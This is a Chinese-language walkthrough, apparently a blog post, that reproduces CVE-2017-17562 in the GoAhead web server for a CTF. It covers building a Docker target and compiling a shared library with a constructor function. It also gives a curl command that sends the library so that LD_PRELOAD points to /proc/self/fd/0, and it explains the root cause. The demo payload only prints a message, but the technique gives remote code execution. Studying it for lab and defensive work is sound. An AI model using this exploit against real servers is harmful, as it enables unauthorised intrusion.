CVE-2017-17562是一个关于GoAhead Web Server远程命令执行的一个漏洞,该漏洞于2017年12月被爆出,影响GoAhead 2.5.0-3.6.4版本。目前已经过了快一年时间,但是一个CTF考到了这个CVE,正好记录一下。
复现
靶机环境
首先得做一个靶机,这里就用docker开个ubuntu作靶机吧:
docker run --name=goaheadv364 -it -p 0.0.0.0:80:80 ubuntu bash
# 安装git和gcc
apt update && apt install -y git gcc make
# 安装goaheadv3.6.4
git clone https://github.com/embedthis/goahead.git
cd goahead
git checkout tags/v3.6.4 -q
make
接着跑一个GoAhead服务,这里用自带的测试服务好了:
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead
payload
准备payload.c文件:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void) {
printf("hello, payload executed.\n");
}
编译payload:
gcc -shared -fPIC ./payload.c -o payload.so
发送payload到靶机:
curl -X POST --data-binary @payload.so http://192.168.99.100/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i
可以看到payload被执行:
原理解释
实际上腾讯的“开源Web服务器GoAhead漏洞CVE-2017-17562分析“ 一文已经对此漏洞进行了详细解释,这里只概括的说一下。
首先,GoAhead代码存在以下两点问题:
因为cgiHandler的过滤不当,导致LD_PRELOAD变量可控,而程序会读取LD_PRELOAD变量记录的文件路径并且执行代码;
launchCgi函数调用系统函数dup2()将stdin文件描述符指向了POST请求数据对应的临时文件。
从发送payload的命令可以看到,我们的POST中控制了两个输入,一个是LOAD_PRELOAD参数(将它设置为了/proc/self/fd/0),一个是POST的data(将它设置为了我们编译生成的动态链接库)。/proc/self/fd/0 是Linux的伪文件系统文件,实际上指的是stdin,以下命令的执行结果可以说明这一点:
这样结合第一条,即程序会从我们标准输入中取代码执行,又因为第二条,我们的标准输入被定向到了POST的临时文件中,具体来说,即定向到了我们的payload.so文件上,这样整个原理就走通了。